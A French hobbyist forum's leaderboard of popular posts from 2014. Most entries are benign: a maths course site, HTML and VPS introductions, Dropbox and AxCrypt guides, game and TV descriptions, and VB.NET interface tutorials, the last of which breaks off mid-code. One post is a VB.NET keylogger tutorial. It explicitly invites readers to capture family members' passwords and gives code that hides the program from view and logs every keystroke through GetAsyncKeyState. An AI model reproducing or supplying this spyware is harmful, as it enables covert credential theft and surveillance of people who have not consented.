Leaderboard
Popular Content
Showing content with the highest reputation on 13/03/2014 in Messages
-
Salut, je sais pas si certains d'entre vous connaissent mais un professeur de math français a créée un site où il propose des cours vidéos en math. vu qu'une image vaut mille mots, voici une vidéo de présentation du site (Si on admet qu'il y a 30 images par secondes et que la vidéo dure 1:42, ce qui fait 102 secondes soit 102000 mots, eh oui je suis astucieux ) Voici le lien du site kifflesmaths : http://www.kiffelesmaths.com/ Pour pouvoir visualiser les cours, il vous faut un compte que vous pourrez créer ici : http://www.kiffelesmaths.com/inscription.php Honnêtement, je trouve que ses cours vidéos sont très clair et très rapides (Vous apprendrez en 16 minutes avec lui ce que vous auriez appris en 1h avec votre professeur). Avis à tous ceux qui sont en difficultés en math, ce site m'aide beaucoup P.S : Kifflesmaths.com proposes des cours et exercices allant de la 3e au Bac+1 mais pour ce qui est de la Première et de la Terminale, c'est uniquement en série Scientifique. P.S2 Pour les exercices il vous faut un abonnement chez lui mais les cours sont gratuits, c'est le plus important Bonne soirée4 points
-
Bonjour, Étant donné qu'une majorité de membres connaissent les bases de l'informatique et de la programmation, je m'adresse à l'autre partie de la communauté : ceux qui ne connaissent pas encore ce merveilleux monde de la programmation, mais qui cependant veulent commencer à s'y lancer. Alors, ce sujet sera très simple car il consistera en une première mission pour vous : Découvrir les bases. Pour cela, le plus simple reste inévitablement le Site du Zéro, avec le tutoriel en HTML5 & CSS3 que vous pouvez constater juste là : http://fr.openclassrooms.com/informatique/cours/apprenez-a-creer-votre-site-web-avec-html5-et-css3 Ce tutoriel commence par vous apprendre les bases, il est fait pour des lecteurs n'ayant non seulement aucune base en programmation mais également de faibles bases en informatiques. Ainsi, tout le monde peut se lancer dans ce tutoriel et finir avec, je vous le garantis, un solide bagage en HTML / CSS (ce qui est déjà un début, ne sous-estimons pas un langage). A la fin de ce tutoriel, vous serez tous capable de créer un site simple (et vous pourrez l'héberger via Melinyel sans doute, par la suite), et de partager vos créations pour avoir des conseils, de l'aide, etc... Ceux qui ne connaissent pas la programmation, commencez par là, c'est un réel conseil.1 point
-
ARROW "Vous avez nui à cette ville" Série créée par Andrew Kreisberg, en 2012 Produite par Greg Berlanti et Marc Guggenheim. Résumé Acteurs principaux et leurs rôles Stephen Amell, en tant qu'Oliver Queen. Katie Cassidy, en tant que Laurel Lance. David Ramsey, en tant que John Diggle. Colin Donnell, en tant que Tommy Merlyn. Emily Bett Rickards, en tant que Félicity Smoak. Willa Holland, en tant que Thea Queen. Susanna Thompson, en tant que Moira Queen. Paul Blackthorne, en tant que Quentin Lance. Série en elle-même Les nouvelles aventures de Green Arrow/Oliver Queen, combattant ultra efficace issu de l’univers de DC Comics et surtout archer au talent fou, qui appartient notamment à la Justice League. Disparu en mer avec son père et sa petite amie, il est retrouvé vivant 5 ans plus tard sur une île près des côtes Chinoises mais il a changé : il est fort, courageux et déterminé à débarrasser Starling City de ses malfrats… Trailer http://www.youtube.com/watch?v=ViFb0paKdgg1 point
-
C'est ici que je vais vous présenter ce Free FPS assez connu maintenant, Combat arms Europe. Je vais parler uniquement de la version européenne (je pense que c'est la seule qui nous intéresse). Car il y aussi Combat Arms North America Combat Arms Korea Combat Arms Brazil Combat Arms Russia Le site concernant la version EU est celui là http://en.combatarms.nexoneu.com/NXEU.aspx?PART=/Main Ce jeu a été ouvert au public quelques mois après la version anglaise, c'est à dire en Janvier 2009. Il a été développé par Doobic Studios, une société sud-coréenne, et publié par Nexon. Ce jeu peut vraiment plaire aux amateurs de FPS car il propose énormément de nouveautés que ce soit des maps, des armes ou même des missions. De ce côté c'est vraiment un bon + pour Combat arms EU ce genre de nouveautés arrivent tout les 2 mois facilement. Petite présentation en image : https://www.youtube.com/watch?v=ZqaVwUArQpI En ce qui concerne les différentes missions que le jeu propose il y a : Elimination Elimination Pro VIP Elimination VIP Escort Capture the flag Search and destroy One man army Last man standing Fireteam Quarentine Regen Spy Hunt Arms Race Elimination : 2 équipes (entre 1 et 8 joueurs) (Bravo - Alpha) la première aillant atteint un certain nombre de kills remporte la partie. Un certain nombre de kill parce que tout dépendra de ce qu'a choisis le master de la game il peut fixé la limite de kill à 30 comme 140. (C'est valable pour tous les autres mode de jeu) Elimination Pro : 2 équipes et plusieurs manches entre 4 et 11 manches, la première qui remporte le nombre limite de manche a gagné. La différence avec les eliminations c'est que lorsqu'on meurt on ne respawn pas, on doit attendre la manche suivante. VIP Elimination : Même concept que l'elimination sauf que ce n'est pas un système de kill mais de point. Par exemple je suis premier de mon équipe (comme par hasard..) un adversaire de l'équipe adverse me tue il remporte 7 points parce que je suis le premier de mon équipe, alors que si un adversaire tue le dernier de mon équipe il va en gagner seulement 3. VIP Escort : Ce mode de jeu est différent 2 équipes s'opposent 1 doit escorter le VIP jusqu'à une piste atterrissage l'autre équipe doit le tuer. C'est comme une elimination pro mais avec une mission en plus pour les équipes Bravo et Alpha. Capture the flag : Toujours 2 équipes face à face avec pour objectif de ramener le drapeau (situé dans le camp adverse) dans son camp respectif (là où se trouve son propre drapeau plus exactement). Pour chaque équipe il y a un même nombre de drapeau à capturer, ça va de 3 à 7. Search and destroy : Même principe qu'une elimination pro sauf que là il y a un système de bomb, l'équipe Alpha doit planté la bomb dans le camp Bravo et Bravo doit tué toute l'équipe adverse et si jamais la bomb est plantée l'équipe Bravo a 40 secondes pour difuse la bomb sachant que pour defuse la bomb il faut 6 secondes environ. Il y a entre 3 et 9 rounds. (c'est surement le mode de jeu le plus stratégique de combat arms) One man army : Ce mode de jeu est complètement individuel, le but est d'atteindre un certain nombre de kill entre 15 et 45 en tuant tout ce qui bouge. Last man standing : Là aussi c'est chacun pour soi et le dernier debout remporte la manche. Le nombre de manche va de 5 à 9. FireTeam : Une équipe composé de 8 joueurs (maximum) contre beaucoup de zombis ou terrorist. Chaque FireTeam a des missions différentes. Il y en a 7 : Cabin fever Black lung Desert thunder Desert fox Nemexis HQ Nemexis labs Infected ship Quarentine regen : 1 seule équipe au départ "l'équipe humain" celle ci doit se mettre en place en 20 secondes avant l'arrivé de l'équipe zombie. Le but de cette dernière est d'infecté les humains et les humains doivent survivre à chaque manches en tuant un maximum de zombies. Les manches vont de 5 à 9. Spy hunt : Ici l'objectif n'est pas de faire tant de kill. En spy hunt il faut ramasser des "intels" mais lorsque l'on en ramasse un ont devient "Spy" donc à partir de là tout le monde est contre vous. Le premier qui rassemble les 5 intels devient le Super Spy ! Et sa mission est donc de tuer tout le monde mais l'avantage pour lui c'est qu'il est beaucoup plus résistant et il a des armes assez OP. Voila ce que ça donne : https://www.youtube.com/watch?v=-tKZHmam0S4 Arms Race : C'est une One man army mais ! vous ne jouez pas avec vos armes. Les armes que vous obtiendrez sont imposées par le jeu. Et plus vous allez faire des kills plus ça sera dur d'en faire car au départ vous aurez un fusil d’assaut mais le dernier kill il faut le faire au couteau Exemple en vidéo : https://www.youtube.com/watch?v=HcObhz2Ozmc Voila pour ce qui est des "bases" du jeu. Si vous avez des questions ou si j'ai fais des erreurs dans le topic prévenez moi. Akimace.1 point
-
Certains de vos fichiers sont sensibles et vous ne voudriez pas qu'ils ne tombent dans de mauvaises mains ? Une solution existe pour faire face à ce genre de situation : crypter ces fichiers afin que personne ne puisse y accéder sans avoir une clé de décryptage valide. De nombreux logiciels existent pour crypter ses fichiers mais nous nous concentrerons sur un : AxCrypt. Ce petit logiciel va au plus simple en utilisant le menu contextuel du clic droit. Après l'installation de ce logiciel, vous verrez en faisant un clic droit sur un dossier qu'un sous-menu AxCrypt sera présent. Dedans vous pourrez trouver : Si le fichier n'est pas crypté : Crypter : Permet de crypter son fichier à l'aide d'une clé de cryptage. Crypter et copier : Créer une copie du fichier et l’encrypte à l'aide d'une clé de cryptage. Crypter et copier un exécutable : Créer une copie du fichier et l’encrypte à l'aide d'une clé de cryptage. Celui-ci peut être exécuté à l'aide d'une clé de décryptage et le fichier sera copié et décrypté à l'emplacement voulu. Si le fichier est crypté : Décrypter : Décrypte le fichier à l'aide d'une clé de décryptage. Retirer : Pour tous : Effacer toutes les clés : Créer un fichier clé : permet de créer un fichier contenant des données aléatoires, le logiciel utilisera ce fichier comme clef, plus sûr qu'un mot de passe mais moins facile d'utilisation. Brouiller et supprimer : le logiciel va réécrire le fichier avec des données aléatoires puis le supprimer définitivement. Lien : http://www.axantum.com/axcrypt/1 point
-
Bonjour, ce sujet d'introduction aura pour but de vous faire découvrir ce que sont les VPS et/ou les serveurs dédiés, leur fonctionnement. Je mettrais ce topic en lien avec d'autres qui viendront par la suite (Introduction: Unix/Linux ou Guide : Choisir son VPS / Serveur dédié). Il n'est pas totalement fini, j'y rajouterais constamment des informations puisque c'est un condensé de mon expérience personnelle et surtout de guides pré-existants sur internet, fait par des professionnels donc surement plus rigoureux. Qu'est-ce qu'un VPS ? Dans les grands Data Center des entreprises d'hébergement, il y a de grandes baies de serveurs : des sortes de gigantesques salles dans lesquelles tournent des dizaines/centaines d'énormes ordinateurs : ce sont les serveurs de l’hébergeur, que celui-ci loue comme serveur mutualisé d'hébergement web, serveur dédié ou VPS : Nous parlerons simplement des VPS / Serveurs dédiés, pas de l'hébergement mutualisé Ces serveurs sont souvent partitionnés, c'est-à-dire divisés en centaine de partitions, sur lesquelles sont installées des systèmes d'exploitation (souvent des distributions linux). Illustrons cela par un petit calcul pas du tout rigoureux ni réaliste : Un hébergeur dispose de 50 machines-serveurs qui possèdent 100 go de ram chacunes et 100 tera (1 teraoctet = 1000 gigaoctet). Sur chacun de ces serveurs, l'hébergeur a partitionné 100 plus petits systèmes d'exploitations. Ainsi, cela nous fait donc 100x50 = 5000 petits serveurs de 1 go de ram et 1 tera de stockage qu'ils peut louer. Ces petits serveurs sont justement les VPS (Virtual Private Server), ce n'est pas très performant, mais cependant pas très cher. On communique généralement sur ces serveurs via une console, par le protocole SSH. Imaginez ça comme une simple console dans laquelle on donne des ordres à la machine, ça peut paraître rudimentaire et peu pratique, mais il n'en est rien : on peut effectuer des actions extrêmement complexes via ce procédé. La différence entre un VPS et un serveur dédié est justement qu'un serveur dédié vous est... dédié. Il n'est pas (normalement) non partitionné comme un VPS mais l'ensemble de la machine et ses capacités sont à votre dispositions (on peut comparer ça à un appartement et une maison). Voilà, vous comprenez déjà un peu mieux ce qu'est un VPS, attaquons la suite de la découverte ou de l'introduction. A quoi sert un VPS ? Comment s'en servir ? - Guide des VPS par OVH, je vous retransmet les idées les plus pertinentes. A quoi sert un VPS ? Un VPS est un serveur privé virtuel (Virtual Private Server) qui permet d’héberger des sites (vitrine, e-commerce, contenus, médias…) et / ou des applications logicielles, principalement Web (portail, extranet, solutions collaboratives, wiki, CRM...) Contrairement à l’hébergement mutualisé, il permet d’isoler plusieurs applications dans un même conteneur dédié au client. Ce conteneur (VPS) partage des ressources physiques (infrastructures) avec d’autres conteneurs mais la part de ressources qui lui sont dédiées sont garanties. VPS ou hébergement mutualisé ? Après un hébergement mutualisé, le VPS s’inscrit comme une évolution logique pour votre hébergement. Vous avez plus de libertés et bénéficiez des accès root : accès à Apache, au PHP init qui permet de modifier les variables PHP, d’installer un certificat SSL, et n’importe quel type de logiciel : bref, vous gagnez en liberté sans prendre la responsabilité d’un serveur dédié physique. Attention cependant, sur un serveur mutualisé, vous n’êtes pas responsable des performances proposées, vous vous fiez aux performances de la plateforme mise à disposition. En optant pour le VPS vous devrez choisir une configuration adaptée aux exigences de vos applications et l’adapter avec votre croissance. Comment puis-je configurer mon VPS ? Comment "communiquer" avec lui ? Tout dépend du type d’OS que vous aurez choisi d’installer et du type de configuration à faire. Pour les actions courantes : Via bureau à distance (notamment sous Windows) ; En ligne de commande SSH sous Linux ; Via un panneau de gestion Web (Plesk, Cpanel, Release 3 OVH) ; Via les solutions déployées sur le serveur (ex : CMS). Via votre FTP (protocole de transfert de fichier, que vous devrez installer vous-même). Est-ce qu'un VPS peut-il lui-même être divisé/partitionné ? Oui, le VPS peut être partitionné et vous pouvez y héberger plusieurs sites, ou encore plusieurs projets de vos clients (en allouant à chacun un espace privé dont vous choisissez le volume). C’est votre espace serveur que vous sous-organisez comme vous le souhaitez sous votre responsabilité. Comment est-ce que le public peut accéder à mon VPS ? En fait, chaque VPS dispose d'une adresse IP, voir deux. La première est en IPv4, de la forme : 173.174.XXX.XXX (les X sont des chiffres, je masque pour l'exemple). La seconde potentielle est en IPv6, de la forme : 2001:0db8:0000:85a3:0000:0000:ac1f:8001 (adresse exemple tirée de Wikipédia). Également, vous pouvez généralement acheter et configurer un nom de domaine et le lier à votre VPS / Serveur dédié. Exemple des caractéristiques qu'on peut trouver chez un hébergeur, pour la gamme VPS : Pour synthétiser tout ça, un VPS peut servir a créer un ou plusieurs sites web, hébergement une application ou des fichiers, il est préférable et plus utile de comprendre l'achitecture ou le fonctionnement de Unix/Linux pour l'utiliser de manière optimale. Il y a une foule d'utilisation possible (création de serveur Minecraft, seedbox, etc...) J'étofferais ce guide au possible, voici mes sources et j'en rajouterais d'autres par la suite. - http://www.ovh.com/fr/vps/aide-faq.xml Si vous avez des questions ou des remarques, n'hésitez pas. Tutoriel réalisé par Azad, pour Melinyel, le 09/03/2014. Toute reproduction sans citer Melinyel est interdite.1 point
-
Bonjour, Les rangs des membres viennent d'être implantés : ils sont basés sur le nombre de message, et aussi sur les la réputation des membres. Ils pourront être changés par la suite, mais voici un tableau regroupant la première version. Et pour la réputation : Quels sont vos premières impressions sur cette implantation ? Vos avis comptent pour nous.1 point
-
Salut all, donc voici un tuto sur le drag'n drop, ce qui consiste juste dans le fait de faire glisser un fichier dans un un programme. Donc sélectionnez votre élément ou votre form (selon la zone où vous voulez faire glisser le fichier, puis dans ses propriétés cherchez "AllowDrop" et activez le (True), si il n'est pas dans les propriétés, il est possible d'aller l'écrire directement dans le code du desing mais pour faire simple on va mettre le code suivant dans l’évènement du la form au chargement (double click sur la form ou double click sur l'évènement load de l'objet) et je rappel que ce code n'est que si vous n'avez pas trouvé "AllowDrop" dans les propriété: [Nom_de_l'élèment] .AllowDrop = true Sélectionnez votre élément et dans les propriétés allez dans l'onglet des events () et double click sur "DragEnter" et "DragDrop", dans DragEnter entrez le code suivant: e.Effect = e.AllowedEffect dans DragDrop, dans cette exemple je vais charger un fichier image dans une picturebox: Dim pictr() As String Dim str As String ' va contenir le chamin d'accès If e.Data.GetDataPresent(DataFormats.FileDrop) Then pictr = e.Data.GetData(DataFormats.FileDrop) str = pictr(0) PictureBox1.Load(str) 'je charge l'image End If Et voilà c'est finis^^ Bonne programmation à tous! Cordialement, Mars0731 point
-
Dropbox Bonjour à tous, Dans ce petit tuto, je vais vous montrer comment utiliser Dropbox. Dropbox est un logiciel permettant de partager des documents en tout genre (documents textes, photos, vidéos...) créé par Dropbox Inc. En 2008. I : Installation Tout d'abord, il vous faut télécharger Dropbox (gratuit). Suivez la démarche d'installation et créez un compte si vous n'en possédez pas un. Une fois l'installation terminée, un dossier sera créé dans les Documents ou l'Explorateur Windows (selon l'OS que vous possédez). Lorsque vous ouvrez ce dossier, il sera bien évidemment vide si vous venez de vous inscrire. A noter que vous pouvez choisir entre trois versions de Dropbox (qui permettent de stocker plus de fichiers) : la première, qui permet de stocker jusqu'à 2Go est gratuite, la deuxième permet de stocker jusqu'à 100 Go (9,99 $ par mois) et la troisième jusqu'à 200 Go, à 19,99 $ par mois. Notons aussi que vous pouvez obtenir gratuitement de l'espace en suivant les instructions données. Pour y accéder, cliquez sur « Obtenir de l'espace gratuitement » dans votre compte Internet : Lors de l'installation, vous avez aussi une icône qui apparaît dans votre barre des tâches pour savoir rapidement si votre dossier est synchronisé avec votre compte sur le web. II : Utilisation L'utilisation de Dropbox est assez simple parce que le logiciel ne permet qu'un partage des documents ainsi que la possibilité de voir ses fichiers depuis un autre ordinateur (compte Internet). Ce qui tranche avec SkyDrive par exemple, qui lui permet, en plus du partage, d'héberger des documents en ligne et de les mettre sur un site. De plus, la version gratuite de SkyDrive permet de stocker jusqu'à 7Go de fichiers alors que celle de Dropbox, ne permet que jusqu'à 2Go. mais dans leurs chartes mutuelles SkyDrive ce permet de changé vos documents alors que Dropbox non II.1. Synchronisation Quand vous copiez un fichier dans votre dossier Dropbox, il apparaît avec deux flèches bleues qui tournent : votre document est en cours de synchronisation. Une fois qu'il apparaît avec une flèche verte, cela veut dire qu'il est synchronisé avec votre compte Internet. Vous pouvez le voir et le télécharger depuis le web. Le fichier est en cours de synchronisation... ... et il est synchronisé. Ce même fichier sur Internet. II.2. Partager un dossier / fichier avec une personne non inscrite Avec Dropbox, vous pouvez partager des dossiers avec des personnes ne possédant pas de compte ! Pour ce faire, il vous suffit de glisser le fichier dans le dossier « Public ». Ensuite, attendez qu'il se synchronise. Connectez-vous à votre compte Internet et sélectionnez votre fichier dans le dossier « Public ». Faites clique-droit avec votre souris et cliquez sur « Copier le lien public ». Puis, collez-le où vous voulez ! Mails, blogs, forums... La personne n'aura qu'à cliquer sur le lien. II.3. Partager un dossier / fichier avec une personne inscrite Pour partager un fichier avec une personne inscrite, il faut déjà que celui-ci soit synchronisé avec Internet. Puis, connectez-vous et sélectionnez votre fichier. Cliquez sur « Partager le lien ». Dans le cas présent, je partage une image. Je reviendrai après sur le partage d'un dossier. Après avoir cliquer sur « Partager le lien », vous devez entrer l'adresse e-mail de la personne avec laquelle vous voulez partager votre image. Cliquer sur envoyer, et le tour est joué ! Dans le cas d'un dossier, deux cas se présentent : - Soit le dossier est inexistant : Alors, il faut que vous fassiez clique-droit puis « Partager un dossier ». Cochez « Je veux créer et partager un dossier ». Saisissez le nom du dossier : Cliquez sur « Suivant » et entrez l'adresse e-mail de la personne avec laquelle vous voulez partager le dossier. - Soit le dossier existe : Alors, c'est comme pour l'image, il faut que vous cliquez sur « Partager le lien » et que vous entrez l'adresse mail de la personne avec laquelle vous voulez partager le dossier. II.4. Supports / applications Dropbox est compatible avec Windows, Mac OS 10.4 et plus, Linux, Blackberry, Androïd et iOS. Dropbox met à disposition de ses utilisateurs une application iOS (téléchargeable sur l'AppStorre) mais aussi sur Androïd. Liens : > https://www.dropbox.com/ Source' : http://www.remontees-mecaniques.net/forums/index.php?showtopic=178621 point
-
Bonjour, je vais vous expliquez comment faire un enregistreur de frappe.^^ pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster... Il faut: -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0) -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus) -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100) -1 NotifyIcon (Config: Icon=[votre Icône Windows) -1 Icône windows de préférence KDO: un lien vers un site plein d'icône cool: ->Lien<- (lien icone windows) et c'est partit pour le code... u_u double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]: Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integeret dans l'handle (le code form_load): Timer1.Start() Timer2.Start() Me.Visible = Falsemaintenant double clique sur le timer1 pour afficher le code et on met dedans : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté End If Next iDouble clique sur le NotifyIcon1 pour afficher le code et on met dedans : Me.WindowState = FormWindowState.Normal Me.Height = 300 ' hauteur Me.Width = 300 'largeur Me.ShowInTaskbar = True 'affichage dans la barre de tâche Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords... Me.Visible = True ' si on l'affiche TextBox1.Visible = True ' si on affiche les caractères masqués Me.AllowTransparency = False Me.RightToLeft = Windows.Forms.RightToLeft.Inherit Me.Show() Double clique sur le Timer2 pour afficher le code et on met dedans : If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre Me.Height = 0 'plein de paramètre chiant à expliquer Me.Width = 0 Me.ShowInTaskbar = False Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None Me.Visible = False TextBox1.Visible = False Me.AllowTransparency = True Me.RightToLeft = Windows.Forms.RightToLeft.Inherit 'code by Mars073 End Ifsi vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré. Bonne programmation à tous! Cordialement, Mars0731 point
-
Bonjour jeune vagabond ! J'ai retrouvé des tutoriels en batch que j'avait fait pour l'ancien Melinyel, et voici la première partie :1 point
-
Coucou, Certains demandaient cette astuce donc je vous la partage ! Pour piloter le curseur de la souris avec le clavier, il suffit d'activer le mode "Touches Souris" de Windows. Pour activer ce mode, appuyez simultanément sur les touches [shift] + [Alt] + [Verr Num]. Windows affiche alors l'alerte "Touches Souris". Cliquez alors sur Oui pour activer ce mode. Une nouvelle icône "souris" apparaît dans la zone de notification du système Les touches du pavé numérique sont alors utilisées pour se déplacer: 8 en haut, 4 à gauche, 6 à droite, 2 en bas, 7 en diagonale haute-gauche, 9 en diagonale haute-droite, 1 en diagonale bas-gauche, 3 en diagonale bas droite. La touche "+" sert de double clic. La touche "0" émule un clic gauche. Il est possible de paramétrer la vitesse de déplacement du curseur. Pour cela, double-cliquez sur l'icône de la fonction Touches Souris dans la zone de notification, puis: - Réglez la vitesse à l'aide des curseurs "Vitesse maximale" et "Accélération" - N'hésitez pas à cocher la case "Maintenir la touche [Ctrl] enfoncée pour augmenter la vitesse..." - Dans autres paramètres, cochez "Désactivé": ainsi le pavé se comportera comme une souris lorsque la touche [Verr Num] est désactivée, et comme un pavé numérique lorsqu'elle est activée. Pour sortir du mode "Touches Souris", double-cliquez sur son icône dans la zone de notification et décochez la case "Activer les touches souris". Puis cliquez sur Enregistrer. Source : 01net.com Cordialement, Soon.1 point
-
Hey everybody Voici le tutoriel number one sur le batch, avec lequel je vais vous apprendre (ou pas) à utiliser la commande "echo" !1 point
-
Bonjour ! Certains ce demande sûrement qu'est-ce l'algorithmique, eh bien, voici une formation qui pourrait vous intéresser, proposé par Grafitkart, la voici : http://www.grafikart.fr/formation/apprendre-algorithmique1 point
-
Bonjour, J'inaugure la partie World Of Warcraft en vous montrant comment utiliser l'infobulle Wowhead que j'ai implanté dans le forum, avec les BBCode. Trouver votre item dans Wowhead, pour le miens je vais prendre Courroux du Dragon, le Repos de Tarecgosa (dont je dispose sur l'officiel, hûhû). L'item se trouve sur ce lien : http://fr.wowhead.com/item=71086 On remarque que son ID est le 71086 (au bout de l'URL). Lors de l'écriture de votre message sur le forum, allez chercher le BBCode Wowhead : Un menu déroulant apparaît, prenez Wowhead (dernière ligne, normalement), et remplissez la popup comme cela : Et voilà, vous obtenez cela : Courroux du dragon, le Repos de Tarecgosa Voilà, enjoy.1 point
-
Bonjour, Je vais vous expliquez comment jouer un son/musique. Site pour convertir le fichier conseillé: Online converter Fichier KDO: La music du login de WOTLK.wav Contrôle-VirusTotal 1.Il vous faut un fichier ".wav" (Sons), petite astuce de passage pour faire des enregistrement sur windows (xp) avec un micro: allez dans le Menu de démarrage, cliquez sur "exécuter" puis dans la petite fenêtre qui c'est ouvert écrivez "SNDREC32" dans la textbox et cliquez sur "ok", et magie un fenêtre s'ouvre et il suffit de cliquer sur le bouton avec la boule rouge dessus pour enregistrer.^^ 2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".wav" (Sons). 3.retournez votre form faites un doule-click dessus pour afficher le code. 4.Mettez le code suivant: My.Computer.Audio.Play(My.Resources.OFFICIAL_WOTLK_LOGIN_SCREEN_MUSIC, _ AudioPlayMode.]BackgroundLoop) et voilà vous faites du bruit ! Ps: code pour arrêter la lecture: My.Computer.Audio.Stop Bonne programmation a tous! Cordialement, Mars0731 point
-
Bonjour, Je vais vous expliquez comment déplacer votre fenêtre avec un outil ou avec la fenêtre elle même, utile quand vous voulez faire un fenêtre personnalisé. fichiers KDO: -le bouton Réduire: -le bouton Niveau inférieur: -le bouton Niveau supérieur: -le bouton Fermer: -une mini-image de fond =p: 1.Ouvrez Visual Basic, puis faites un double-clique sur l'objet ou la forme qui servira à faire bouger la fenêtre... 3.normalement vous aurez ceci (load) un peut haut dessus a droite: modifier le en "MouseDown", ce qui va créer un deuxième code supprimez le premier (load). 4.Mettez le code suivant après "Public Class [nom_de_la_form]": Private Declare Function ReleaseCapture Lib "user32" () As Integer Private Const HTCAPTION As Integer = 2 Private Const WM_NCLBUTTONDOWN As Integer = &HA1S Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByRef lParam As Integer) As Integer 5.De retour au code "mousedown", vous mettez le code suivant dedans: If e.Button = Windows.Forms.MouseButtons.Left Then ReleaseCapture() SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) Ps:Quelques code: -Pour fermer la fenêtre: Me.close ou l'application compléte: End -Pour réduire(attention! le code peut bugé et faire réduire mais hors de la barre de tâche): Me.WindowState = FormWindowState.Minimized -Pour mettre au niveau inférieur: Me.WindowState = FormWindowState.Normal -Pour le niveau supérieure: Me.WindowState = FormWindowState.Maximized Conseil: -Si vous mettez une image de fond mettez une couleur de fond puis ajoutez la comme couleur de transparence dans les paramètres de la form Bonne programmation à tous! Cordialement, Mars0731 point
-
Bonjour, Je vais vous expliquez comment modifier le curseur de votre ou d'un objet. programme conseillé: Axialis - CursorWorkshop(même a la fin de la licence il est toujours utilisable) fichier KDO: Curseur de Wow (en 1bit) Contrôle-TotalVirus 1.Il vous faut un fichier ".cur" (curseur/cusor) monochrome (1bit, en blanc, noir et transparence) ou alors çà va faire bugé votre application (normalement) --' 2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".cur" (curseur). 3.retournez votre form faites un doule-click dessus pour afficher le code, normalement vous aurez ceci (load) un peut haut dessus a droite: modifier le en "MouseMove", ce qui va créer un deuxième code supprimez le premier (load). 4.Mettez le code suivant: Dim memory_stream As New System.IO.MemoryStream(My.Resources.Curseurwow) Me.Cursor = New Cursor(memory_stream) La form ou un object ( exemple: Me, Form2, button1, textbox1,...) Le nom de la ressource (le curseur) et voilà vous avez un nouveau curseur ! un code pour avoir des curseurs en 32bits(plusieurs couleurs), mais j'ai pas réussis à le mettre comme ressource... Private Declare Unicode Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileW" (ByVal filename As String) As IntPtr Dim curseur As IntPtr curseur = LoadCursorFromFile("C:\cursor.cur") Me.Cursor = New Cursor(curseur) Code à placer après la déclaration de votre form(Public Class Form1) Nom du dim du curseur Nom du chemin d'accès jusqu'au curseur La form ou un object ( exemple: Me, Form2, button1, textbox1,...) et voilà vous avez un nouveau curseur ! Bonne programmation a tous! Cordialement, Mars0731 point
-
Shalut all, je vais vous faire un tuto rapide pour placer une image dans une picturebox, je sais y a l'option padding ou magrin je sais pu.. mais avec on une peu pas mettre une position négative ! pour cela on va faire 2fonctions : #Region "fonctions" Private Function SetPictureAtPoint(ByVal FinalImageSize As System.Drawing.Size, ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(FinalImageSize.Width, FinalImageSize.Height) Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg) Graphics.DrawImage(Image, Location) Return TmpImg End Function Private Function SetPictureAtPoint(ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(Location.X + Image.Width, Location.Y + Image.Height) Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg) Graphics.DrawImage(Image, Location) Return TmpImg End Function #End Region et puis dans Form.load on va mettre: Dim Img As New Bitmap(My.Resources.bomb) Me.PictureBox1.Image = SetPictureAtPoint(Img, New System.Drawing.Point(0, -20)) donc en rouge votre ressource et en vert la position x,y de votre image. EDIT: petite image cadeau xD pour picturebox de 20Px/20Px Voilà un petit tuto rapide je fais peut-être le refaire mais bon bonne programmation à tous cordialement, Mars1 point
-
Salut all, Je encore faire un tuto à l'arrache. Donc je vais vous expliquer comment faire pour faire un splashScreen, c'était l'image de présentation ou de chargement que l'on peu voir parfois avec certains programmes. je vais prendre comme exemple: il y a un dégradé de transparence et donc si j'utilise "tranparencyColor" ça va juste me retirer la couleur pure... alors dans ce cas il faut rien mettre dans transparency et mette un code kikoolong, enfin un peu long /!\Les contrôles (outils) ne sont pas visible après la manipulation !/!\ Le code à mettre après "Public Class [Votreforme]" #Region "full_decla" Public Structure BLENDFUNCTION Public BlendOp As Byte Public BlendFlags As Byte Public SourceConstantAlpha As Byte Public AlphaFormat As Byte End Structure Public Const ULW_COLORKEY As Integer = 1 Public Const ULW_ALPHA As Integer = 2 Public Const ULW_OPAQUE As Integer = 4 Public Const AC_SRC_OVER As Byte = 0 Public Const AC_SRC_ALPHA As Byte = 1 Public Const GWL_EXSTYLE = (-20) Public Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal hdcDst As IntPtr, ByRef pptDst As Point, ByRef psize As Size, ByVal hdcSrc As IntPtr, ByRef pprSrc As Point, ByVal crKey As Integer, ByRef pblend As BLENDFUNCTION, ByVal dwFlags As Integer) As Boolean Private Declare Auto Function SetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer, ByVal dwNewLong As Integer) As Integer Private Declare Auto Function GetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer) As Integer Public 